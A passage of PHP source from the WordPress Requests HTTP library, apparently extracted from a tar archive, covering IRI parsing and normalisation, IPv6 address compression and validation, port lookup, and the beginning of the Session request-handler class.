		}
		$target->scheme_normalization();
		return $target;
	}

	/**
	 * Parse an IRI into scheme/authority/path/query/fragment segments
	 *
	 * @param string $iri
	 * @return array
	 */
	protected function parse_iri($iri) {
		$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
		$has_match = preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match);
		if (!$has_match) {
			throw new Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri);
		}

		if ($match[1] === '') {
			$match['scheme'] = null;
		}
		if (!isset($match[3]) || $match[3] === '') {
			$match['authority'] = null;
		}
		if (!isset($match[5])) {
			$match['path'] = '';
		}
		if (!isset($match[6]) || $match[6] === '') {
			$match['query'] = null;
		}
		if (!isset($match[8]) || $match[8] === '') {
			$match['fragment'] = null;
		}
		return $match;
	}

	/**
	 * Remove dot segments from a path
	 *
	 * @param string $input
	 * @return string
	 */
	protected function remove_dot_segments($input) {
		$output = '';
		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
			// A: If the input buffer begins with a prefix of "../" or "./",
			// then remove that prefix from the input buffer; otherwise,
			if (strpos($input, '../') === 0) {
				$input = substr($input, 3);
			}
			elseif (strpos($input, './') === 0) {
				$input = substr($input, 2);
			}
			// B: if the input buffer begins with a prefix of "/./" or "/.",
			// where "." is a complete path segment, then replace that prefix
			// with "/" in the input buffer; otherwise,
			elseif (strpos($input, '/./') === 0) {
				$input = substr($input, 2);
			}
			elseif ($input === '/.') {
				$input = '/';
			}
			// C: if the input buffer begins with a prefix of "/../" or "/..",
			// where ".." is a complete path segment, then replace that prefix
			// with "/" in the input buffer and remove the last segment and its
			// preceding "/" (if any) from the output buffer; otherwise,
			elseif (strpos($input, '/../') === 0) {
				$input = substr($input, 3);
				$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
			}
			elseif ($input === '/..') {
				$input = '/';
				$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
			}
			// D: if the input buffer consists only of "." or "..", then remove
			// that from the input buffer; otherwise,
			elseif ($input === '.' || $input === '..') {
				$input = '';
			}
			// E: move the first path segment in the input buffer to the end of
			// the output buffer, including the initial "/" character (if any)
			// and any subsequent characters up to, but not including, the next
			// "/" character or the end of the input buffer
			elseif (($pos = strpos($input, '/', 1)) !== false) {
				$output .= substr($input, 0, $pos);
				$input = substr_replace($input, '', 0, $pos);
			}
			else {
				$output .= $input;
				$input = '';
			}
		}
		return $output . $input;
	}

	/**
	 * Replace invalid character with percent encoding
	 *
	 * @param string $text Input string
	 * @param string $extra_chars Valid characters not in iunreserved or
	 *                            iprivate (this is ASCII-only)
	 * @param bool $iprivate Allow iprivate
	 * @return string
	 */
	protected function replace_invalid_with_pct_encoding($text, $extra_chars, $iprivate = false) {
		// Normalize as many pct-encoded sections as possible
		$text = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $text);

		// Replace invalid percent characters
		$text = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $text);

		// Add unreserved and % to $extra_chars (the latter is safe because all
		// pct-encoded sections are now valid).
		$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

		// Now replace any bytes that aren't allowed with their pct-encoded versions
		$position = 0;
		$strlen = strlen($text);
		while (($position += strspn($text, $extra_chars, $position)) < $strlen) {
			$value = ord($text[$position]);

			// Start position
			$start = $position;

			// By default we are valid
			$valid = true;

			// No one byte sequences are valid due to the while.
			// Two byte sequence:
			if (($value & 0xE0) === 0xC0) {
				$character = ($value & 0x1F) << 6;
				$length = 2;
				$remaining = 1;
			}
			// Three byte sequence:
			elseif (($value & 0xF0) === 0xE0) {
				$character = ($value & 0x0F) << 12;
				$length = 3;
				$remaining = 2;
			}
			// Four byte sequence:
			elseif (($value & 0xF8) === 0xF0) {
				$character = ($value & 0x07) << 18;
				$length = 4;
				$remaining = 3;
			}
			// Invalid byte:
			else {
				$valid = false;
				$length = 1;
				$remaining = 0;
			}

			if ($remaining) {
				if ($position + $length <= $strlen) {
					for ($position++; $remaining; $position++) {
						$value = ord($text[$position]);

						// Check that the byte is valid, then add it to the character:
						if (($value & 0xC0) === 0x80) {
							$character |= ($value & 0x3F) << (--$remaining * 6);
						}
						// If it is invalid, count the sequence as invalid and reprocess the current byte:
						else {
							$valid = false;
							$position--;
							break;
						}
					}
				}
				else {
					$position = $strlen - 1;
					$valid = false;
				}
			}

			// Percent encode anything invalid or not in ucschar
			if (
				// Invalid sequences
				!$valid
				// Non-shortest form sequences are invalid
				|| $length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					   $character > 0xD7FF && $character < 0xF900
					|| $character < 0xA0
					|| $character > 0xEFFFD
				)
				&& (
					// Everything not in iprivate, if it applies
					   !$iprivate
					|| $character < 0xE000
					|| $character > 0x10FFFD
				)
			) {
				// If we were a character, pretend we weren't, but rather an error.
				if ($valid) {
					$position--;
				}

				for ($j = $start; $j <= $position; $j++) {
					$text = substr_replace($text, sprintf('%%%02X', ord($text[$j])), $j, 1);
					$j += 2;
					$position += 2;
					$strlen += 2;
				}
			}
		}

		return $text;
	}

	/**
	 * Callback function for preg_replace_callback.
	 *
	 * Removes sequences of percent encoded bytes that represent UTF-8
	 * encoded characters in iunreserved
	 *
	 * @param array $regex_match PCRE match
	 * @return string Replacement
	 */
	protected function remove_iunreserved_percent_encoded($regex_match) {
		// As we just have valid percent encoded sequences we can just explode
		// and ignore the first member of the returned array (an empty string).
		$bytes = explode('%', $regex_match[0]);

		// Initialize the new string (this is what will be returned) and that
		// there are no bytes remaining in the current sequence (unsurprising
		// at the first byte!).
		$string = '';
		$remaining = 0;

		// Loop over each and every byte, and set $value to its value
		for ($i = 1, $len = count($bytes); $i < $len; $i++) {
			$value = hexdec($bytes[$i]);

			// If we're the first byte of sequence:
			if (!$remaining) {
				// Start position
				$start = $i;

				// By default we are valid
				$valid = true;

				// One byte sequence:
				if ($value <= 0x7F) {
					$character = $value;
					$length = 1;
				}
				// Two byte sequence:
				elseif (($value & 0xE0) === 0xC0) {
					$character = ($value & 0x1F) << 6;
					$length = 2;
					$remaining = 1;
				}
				// Three byte sequence:
				elseif (($value & 0xF0) === 0xE0) {
					$character = ($value & 0x0F) << 12;
					$length = 3;
					$remaining = 2;
				}
				// Four byte sequence:
				elseif (($value & 0xF8) === 0xF0) {
					$character = ($value & 0x07) << 18;
					$length = 4;
					$remaining = 3;
				}
				// Invalid byte:
				else {
					$valid = false;
					$remaining = 0;
				}
			}
			// Continuation byte:
			else {
				// Check that the byte is valid, then add it to the character:
				if (($value & 0xC0) === 0x80) {
					$remaining--;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}
				// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
				else {
					$valid = false;
					$remaining = 0;
					$i--;
				}
			}

			// If we've reached the end of the current byte sequence, append it to Unicode::$data
			if (!$remaining) {
				// Percent encode anything invalid or not in iunreserved
				if (
					// Invalid sequences
					!$valid
					// Non-shortest form sequences are invalid
					|| $length > 1 && $character <= 0x7F
					|| $length > 2 && $character <= 0x7FF
					|| $length > 3 && $character <= 0xFFFF
					// Outside of range of iunreserved codepoints
					|| $character < 0x2D
					|| $character > 0xEFFFD
					// Noncharacters
					|| ($character & 0xFFFE) === 0xFFFE
					|| $character >= 0xFDD0 && $character <= 0xFDEF
					// Everything else not in iunreserved (this is all BMP)
					|| $character === 0x2F
					|| $character > 0x39 && $character < 0x41
					|| $character > 0x5A && $character < 0x61
					|| $character > 0x7A && $character < 0x7E
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xD7FF && $character < 0xF900
				) {
					for ($j = $start; $j <= $i; $j++) {
						$string .= '%' . strtoupper($bytes[$j]);
					}
				}
				else {
					for ($j = $start; $j <= $i; $j++) {
						$string .= chr(hexdec($bytes[$j]));
					}
				}
			}
		}

		// If we have any bytes left over they are invalid (i.e., we are
		// mid-way through a multi-byte sequence)
		if ($remaining) {
			for ($j = $start; $j < $len; $j++) {
				$string .= '%' . strtoupper($bytes[$j]);
			}
		}

		return $string;
	}

	protected function scheme_normalization() {
		if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
			$this->iuserinfo = null;
		}
		if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
			$this->ihost = null;
		}
		if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
			$this->port = null;
		}
		if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
			$this->ipath = '';
		}
		if (isset($this->ihost) && empty($this->ipath)) {
			$this->ipath = '/';
		}
		if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
			$this->iquery = null;
		}
		if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
			$this->ifragment = null;
		}
	}

	/**
	 * Check if the object represents a valid IRI. This needs to be done on each
	 * call as some things change depending on another part of the IRI.
	 *
	 * @return bool
	 */
	public function is_valid() {
		$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
		if ($this->ipath !== '' &&
			(
				$isauthority && $this->ipath[0] !== '/' ||
				(
					$this->scheme === null &&
					!$isauthority &&
					strpos($this->ipath, ':') !== false &&
					(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
				)
			)
		) {
			return false;
		}

		return true;
	}

	public function __wakeup() {
		$class_props = get_class_vars( __CLASS__ );
		$string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' );
		$array_props = array( 'normalization' );
		foreach ( $class_props as $prop => $default_value ) {
			if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) {
				throw new UnexpectedValueException();
			} elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) {
				throw new UnexpectedValueException();
			}
			$this->$prop = null;
		}
	}

	/**
	 * Set the entire IRI. Returns true on success, false on failure (if there
	 * are any invalid characters).
	 *
	 * @param string $iri
	 * @return bool
	 */
	protected function set_iri($iri) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($iri === null) {
			return true;
		}

		$iri = (string) $iri;

		if (isset($cache[$iri])) {
			list($this->scheme,
				 $this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $this->ipath,
				 $this->iquery,
				 $this->ifragment,
				 $return) = $cache[$iri];
			return $return;
		}

		$parsed = $this->parse_iri($iri);

		$return = $this->set_scheme($parsed['scheme'])
			&& $this->set_authority($parsed['authority'])
			&& $this->set_path($parsed['path'])
			&& $this->set_query($parsed['query'])
			&& $this->set_fragment($parsed['fragment']);

		$cache[$iri] = array($this->scheme,
							 $this->iuserinfo,
							 $this->ihost,
							 $this->port,
							 $this->ipath,
							 $this->iquery,
							 $this->ifragment,
							 $return);
		return $return;
	}

	/**
	 * Set the scheme. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $scheme
	 * @return bool
	 */
	protected function set_scheme($scheme) {
		if ($scheme === null) {
			$this->scheme = null;
		}
		elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
			$this->scheme = null;
			return false;
		}
		else {
			$this->scheme = strtolower($scheme);
		}
		return true;
	}

	/**
	 * Set the authority. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $authority
	 * @return bool
	 */
	protected function set_authority($authority) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($authority === null) {
			$this->iuserinfo = null;
			$this->ihost = null;
			$this->port = null;
			return true;
		}
		if (isset($cache[$authority])) {
			list($this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $return) = $cache[$authority];

			return $return;
		}

		$remaining = $authority;
		if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
			$iuserinfo = substr($remaining, 0, $iuserinfo_end);
			$remaining = substr($remaining, $iuserinfo_end + 1);
		}
		else {
			$iuserinfo = null;
		}

		if (($port_start = strpos($remaining, ':', (strpos($remaining, ']') ?: 0))) !== false) {
			$port = substr($remaining, $port_start + 1);
			if ($port === false || $port === '') {
				$port = null;
			}
			$remaining = substr($remaining, 0, $port_start);
		}
		else {
			$port = null;
		}

		$return = $this->set_userinfo($iuserinfo) &&
				  $this->set_host($remaining) &&
				  $this->set_port($port);

		$cache[$authority] = array($this->iuserinfo,
								   $this->ihost,
								   $this->port,
								   $return);

		return $return;
	}

	/**
	 * Set the iuserinfo.
	 *
	 * @param string $iuserinfo
	 * @return bool
	 */
	protected function set_userinfo($iuserinfo) {
		if ($iuserinfo === null) {
			$this->iuserinfo = null;
		}
		else {
			$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
			$this->scheme_normalization();
		}

		return true;
	}

	/**
	 * Set the ihost. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $ihost
	 * @return bool
	 */
	protected function set_host($ihost) {
		if ($ihost === null) {
			$this->ihost = null;
			return true;
		}
		if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
			if (Ipv6::check_ipv6(substr($ihost, 1, -1))) {
				$this->ihost = '[' . Ipv6::compress(substr($ihost, 1, -1)) . ']';
			}
			else {
				$this->ihost = null;
				return false;
			}
		}
		else {
			$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

			// Lowercase, but ignore pct-encoded sections (as they should
			// remain uppercase). This must be done after the previous step
			// as that can add unescaped characters.
			$position = 0;
			$strlen = strlen($ihost);
			while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
				if ($ihost[$position] === '%') {
					$position += 3;
				}
				else {
					$ihost[$position] = strtolower($ihost[$position]);
					$position++;
				}
			}

			$this->ihost = $ihost;
		}

		$this->scheme_normalization();

		return true;
	}

	/**
	 * Set the port. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $port
	 * @return bool
	 */
	protected function set_port($port) {
		if ($port === null) {
			$this->port = null;
			return true;
		}

		if (strspn($port, '0123456789') === strlen($port)) {
			$this->port = (int) $port;
			$this->scheme_normalization();
			return true;
		}

		$this->port = null;
		return false;
	}

	/**
	 * Set the ipath.
	 *
	 * @param string $ipath
	 * @return bool
	 */
	protected function set_path($ipath) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		$ipath = (string) $ipath;

		if (isset($cache[$ipath])) {
			$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
		}
		else {
			$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
			$removed = $this->remove_dot_segments($valid);

			$cache[$ipath] = array($valid, $removed);
			$this->ipath = ($this->scheme !== null) ? $removed : $valid;
		}
		$this->scheme_normalization();
		return true;
	}

	/**
	 * Set the iquery.
	 *
	 * @param string $iquery
	 * @return bool
	 */
	protected function set_query($iquery) {
		if ($iquery === null) {
			$this->iquery = null;
		}
		else {
			$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Set the ifragment.
	 *
	 * @param string $ifragment
	 * @return bool
	 */
	protected function set_fragment($ifragment) {
		if ($ifragment === null) {
			$this->ifragment = null;
		}
		else {
			$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Convert an IRI to a URI (or parts thereof)
	 *
	 * @param string|bool $iri IRI to convert (or false from {@see \WpOrg\Requests\Iri::get_iri()})
	 * @return string|false URI if IRI is valid, false otherwise.
	 */
	protected function to_uri($iri) {
		if (!is_string($iri)) {
			return false;
		}

		static $non_ascii;
		if (!$non_ascii) {
			$non_ascii = implode('', range("\x80", "\xFF"));
		}

		$position = 0;
		$strlen = strlen($iri);
		while (($position += strcspn($iri, $non_ascii, $position)) < $strlen) {
			$iri = substr_replace($iri, sprintf('%%%02X', ord($iri[$position])), $position, 1);
			$position += 3;
			$strlen += 2;
		}

		return $iri;
	}

	/**
	 * Get the complete IRI
	 *
	 * @return string|false
	 */
	protected function get_iri() {
		if (!$this->is_valid()) {
			return false;
		}

		$iri = '';
		if ($this->scheme !== null) {
			$iri .= $this->scheme . ':';
		}
		if (($iauthority = $this->get_iauthority()) !== null) {
			$iri .= '//' . $iauthority;
		}
		$iri .= $this->ipath;
		if ($this->iquery !== null) {
			$iri .= '?' . $this->iquery;
		}
		if ($this->ifragment !== null) {
			$iri .= '#' . $this->ifragment;
		}

		return $iri;
	}

	/**
	 * Get the complete URI
	 *
	 * @return string
	 */
	protected function get_uri() {
		return $this->to_uri($this->get_iri());
	}

	/**
	 * Get the complete iauthority
	 *
	 * @return string|null
	 */
	protected function get_iauthority() {
		if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) {
			return null;
		}

		$iauthority = '';
		if ($this->iuserinfo !== null) {
			$iauthority .= $this->iuserinfo . '@';
		}
		if ($this->ihost !== null) {
			$iauthority .= $this->ihost;
		}
		if ($this->port !== null) {
			$iauthority .= ':' . $this->port;
		}
		return $iauthority;
	}

	/**
	 * Get the complete authority
	 *
	 * @return string
	 */
	protected function get_authority() {
		$iauthority = $this->get_iauthority();
		if (is_string($iauthority)) {
			return $this->to_uri($iauthority);
		}
		else {
			return $iauthority;
		}
	}
}
Ipv6.php000064400000013007152223033010006071 0ustar00<?php
/**
 * Class to validate and to work with IPv6 addresses
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Class to validate and to work with IPv6 addresses
 *
 * This was originally based on the PEAR class of the same name, but has been
 * entirely rewritten.
 *
 * @package Requests\Utilities
 */
final class Ipv6 {
	/**
	 * Uncompresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and expands the '::' to
	 * the required number of zero pieces.
	 *
	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
	 *           ::1         ->  0:0:0:0:0:0:0:1
	 *
	 * @author Alexander Merz <alexander.merz@web.de>
	 * @author elfrink at introweb dot nl
	 * @author Josh Peck <jmp at joshpeck dot org>
	 * @copyright 2003-2005 The PHP Group
	 * @license https://opensource.org/licenses/bsd-license.php
	 *
	 * @param string|Stringable $ip An IPv6 address
	 * @return string The uncompressed IPv6 address
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function uncompress($ip) {
		if (InputValidator::is_string_or_stringable($ip) === false) {
			throw InvalidArgument::create(1, '$ip', 'string|Stringable', gettype($ip));
		}

		$ip = (string) $ip;

		if (substr_count($ip, '::') !== 1) {
			return $ip;
		}

		list($ip1, $ip2) = explode('::', $ip);
		$c1              = ($ip1 === '') ? -1 : substr_count($ip1, ':');
		$c2              = ($ip2 === '') ? -1 : substr_count($ip2, ':');

		if (strpos($ip2, '.') !== false) {
			$c2++;
		}

		if ($c1 === -1 && $c2 === -1) {
			// ::
			$ip = '0:0:0:0:0:0:0:0';
		} elseif ($c1 === -1) {
			// ::xxx
			$fill = str_repeat('0:', 7 - $c2);
			$ip   = str_replace('::', $fill, $ip);
		} elseif ($c2 === -1) {
			// xxx::
			$fill = str_repeat(':0', 7 - $c1);
			$ip   = str_replace('::', $fill, $ip);
		} else {
			// xxx::xxx
			$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
			$ip   = str_replace('::', $fill, $ip);
		}

		return $ip;
	}

	/**
	 * Compresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and compresses consecutive
	 * zero pieces to '::'.
	 *
	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
	 *           0:0:0:0:0:0:0:1        ->  ::1
	 *
	 * @see \WpOrg\Requests\Ipv6::uncompress()
	 *
	 * @param string $ip An IPv6 address
	 * @return string The compressed IPv6 address
	 */
	public static function compress($ip) {
		// Prepare the IP to be compressed.
		// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
		$ip       = self::uncompress($ip);
		$ip_parts = self::split_v6_v4($ip);

		// Replace all leading zeros
		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

		// Find bunches of zeros
		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
			$max = 0;
			$pos = null;
			foreach ($matches[0] as $match) {
				if (strlen($match[0]) > $max) {
					$max = strlen($match[0]);
					$pos = $match[1];
				}
			}

			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
		}

		if ($ip_parts[1] !== '') {
			return implode(':', $ip_parts);
		} else {
			return $ip_parts[0];
		}
	}

	/**
	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
	 *
	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
	 * using the standard IPv4 representation
	 *
	 * Example:  0:0:0:0:0:0:13.1.68.3
	 *           0:0:0:0:0:FFFF:129.144.52.38
	 *
	 * @param string $ip An IPv6 address
	 * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part
	 */
	private static function split_v6_v4($ip) {
		if (strpos($ip, '.') !== false) {
			$pos       = strrpos($ip, ':');
			$ipv6_part = substr($ip, 0, $pos);
			$ipv4_part = substr($ip, $pos + 1);
			return [$ipv6_part, $ipv4_part];
		} else {
			return [$ip, ''];
		}
	}

	/**
	 * Checks an IPv6 address
	 *
	 * Checks if the given IP is a valid IPv6 address
	 *
	 * @param string $ip An IPv6 address
	 * @return bool true if $ip is a valid IPv6 address
	 */
	public static function check_ipv6($ip) {
		// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
		$ip                = self::uncompress($ip);
		list($ipv6, $ipv4) = self::split_v6_v4($ip);
		$ipv6              = explode(':', $ipv6);
		$ipv4              = explode('.', $ipv4);
		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
			foreach ($ipv6 as $ipv6_part) {
				// The section can't be empty
				if ($ipv6_part === '') {
					return false;
				}

				// Nor can it be over four characters
				if (strlen($ipv6_part) > 4) {
					return false;
				}

				// Remove leading zeros (this is safe because of the above)
				$ipv6_part = ltrim($ipv6_part, '0');
				if ($ipv6_part === '') {
					$ipv6_part = '0';
				}

				// Check the value is valid
				$value = hexdec($ipv6_part);
				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
					return false;
				}
			}

			if (count($ipv4) === 4) {
				foreach ($ipv4 as $ipv4_part) {
					$value = (int) $ipv4_part;
					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
						return false;
					}
				}
			}

			return true;
		} else {
			return false;
		}
	}
}
Port.php000064400000002741152223033010006174 0ustar00<?php
/**
 * Port utilities for Requests
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;

/**
 * Find the correct port depending on the Request type.
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */
final class Port {

	/**
	 * Port to use with Acap requests.
	 *
	 * @var int
	 */
	const ACAP = 674;

	/**
	 * Port to use with Dictionary requests.
	 *
	 * @var int
	 */
	const DICT = 2628;

	/**
	 * Port to use with HTTP requests.
	 *
	 * @var int
	 */
	const HTTP = 80;

	/**
	 * Port to use with HTTP over SSL requests.
	 *
	 * @var int
	 */
	const HTTPS = 443;

	/**
	 * Retrieve the port number to use.
	 *
	 * @param string $type Request type.
	 *                     The following requests types are supported:
	 *                     'acap', 'dict', 'http' and 'https'.
	 *
	 * @return int
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed.
	 * @throws \WpOrg\Requests\Exception                 When a non-supported port is requested ('portnotsupported').
	 */
	public static function get($type) {
		if (!is_string($type)) {
			throw InvalidArgument::create(1, '$type', 'string', gettype($type));
		}

		$type = strtoupper($type);
		if (!defined("self::{$type}")) {
			$message = sprintf('Invalid port type (%s) passed', $type);
			throw new Exception($message, 'portnotsupported');
		}

		return constant("self::{$type}");
	}
}
Session.php000064400000021623152223033010006673 0ustar00<?php
/**
 * Session handler for persistent requests and default parameters
 *
 * @package Requests\SessionHandler
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Session handler for persistent requests and default parameters
 *
 * Allows various options to be set as default values, and merges both the
 * options and URL properties together. A base URL can be set for all requests,
 * with all subrequests resolved from this. Base options can be set (including
 * a shared cookie jar), then overridden for individual requests.
 *
 * @package Requests\SessionHandler
 */
class Session {
	/**
	 * Base URL for requests
	 *
	 * URLs will be made absolute using this as the base
	 *
	 * @var string|null
	 */
	public $url = null;

	/**
	 * Base headers for requests
	 *
	 * @var array
	 */
	public $headers = [];

	/**
	 * Base data for requests
	 *
	 * If both the base data and the per-request data are arrays, the data will
	 * be merged before sending the request.
	 *
	 * @var array
	 */
	public $data = [];

	/**
	 * Base options for requests
	 *
	 * The base options are merged with the per-request data for each request.
	 * The only default option is a shared cookie jar between requests.
	 *
	 * Values here can also be set directly via properties on the Session
	 * object, e.g. `$session->useragent = 'X';`
	 *
	 * @var array
	 */
	public $options = [];

	/**
	 * Create a new session
	 *
	 * @param string|Stringable|null $url Base URL for requests
	 * @param array $headers Default headers for requests
	 * @param array $data Default data for requests
	 * @param array $options Default options for requests
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function __construct($url = null, $headers = [], $data = [], $options = []) {
		if ($url !== null && InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (is_array($data) === false) {
			throw InvalidArgument::create(3, '$data', 'array', gettype($data));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$this->url     = $url;
		$this->headers = $headers;
		$this->data    = $data;
		$this->options = $options;

		if (empty($this->options['cookies'])) {
			$this->options['cookies'] = new Jar();
		}
	}

	/**
	 * Get a property's value
	 *
	 * @param string $name Property name.
	 * @return mixed|null Property value, null if none found
	 */
	public function __get($name) {
		if (isset($this->options[$name])) {
			return $this->options[$name];
		}

		return null;
	}

	/**
	 * Set a property's value
	 *
	 * @param string $name Property name.
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		$this->options[$name] = $value;
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __isset($name) {
		return isset($this->options[$name]);
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __unset($name) {
		unset($this->options[$name]);
	}

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public function get($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public function head($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public function delete($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::DELETE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public function post($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::POST, $options);
	}

	/**
	 * Send a PUT request
	 */
	public function put($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PUT, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public function patch($url, $headers, $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * @see \WpOrg\Requests\Requests::request()
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
